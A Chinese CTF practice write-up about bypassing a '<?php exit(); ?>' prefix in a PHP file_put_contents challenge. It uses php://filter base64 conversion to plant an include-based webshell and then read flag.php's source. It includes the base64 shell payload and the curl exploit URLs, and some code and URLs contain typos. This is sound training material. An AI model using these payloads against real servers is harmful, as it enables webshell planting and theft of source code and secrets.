一、练习题目源码

  • 练习题目描述:

        练习任务:为获取web目录下的flag信息。

         index.php 接受GET 输入str,并保存在test/test.php中,但用户输入的字符前会自动添加 exit() 退出函数,使得test.php 没机会执行用户输入的shell就退出。flag信息隐藏在flag.php中,但直接访问falg.php,被不会得到flag。 

#index.php 文件
<?
<?php
        $str="<?php exit(); ?>";
        $str=$str.$_GET['str'];
        $file=$_GET['file'];
        file_put_contents('$file,$str);
?>


#flag.php 文件


<?php
    echo "hello world!";
    #flag{testflag}
?>



//flag.php index.php 和test目录在一个目录下 test 为一个777 权限的目录
  • 练习思路:
     

        通过php://filter/write= 转换类过滤器 对目标输入流进行转换,及让str在写入目标文件前进行一次编码转化,使自动添加的保护代码(<?php exit(); ?>)变为乱码。

        向test目录下的任意php文件写入任意文件读取代码:<?php include(['file']); ?> 。

        利用写入的shell 和php://filter/read=    获得flag.php源码信息。

二、练习过程:

构成shell数据:

请输入图片描述

注意:因为<?php exit(); ?> 中的base64 编码的有效位有7 位 要保证整个字符串长度是4的倍数,及在shell 前加一个字符

如下

PD9waHAKaW5jbHVkZSgkX0dFVFsnZmlsZSddKTsKPz4=

利用php://filter 构造url如下

curl"http://ip/file=php://filter/write=convert.base64decode/resource=test/test.php&str=APD9waHAKaW5jbHVkZSgkX0dFVFsnZmlsZSddKTsKPz4="

如下test/test.php 成功写入shell 

请输入图片描述

直接通过test.php 访问flag.php,看不到任何flag信息 

请输入图片描述

 通过php://filter 构造url 访问flag.php 如下

curl "http://ip/test/test.phpfile=php://filter/read=convert.base64encode/resource=../flag.php" 

 得到base64编码的数据

请输入图片描述

 base64解码得到flag

请输入图片描述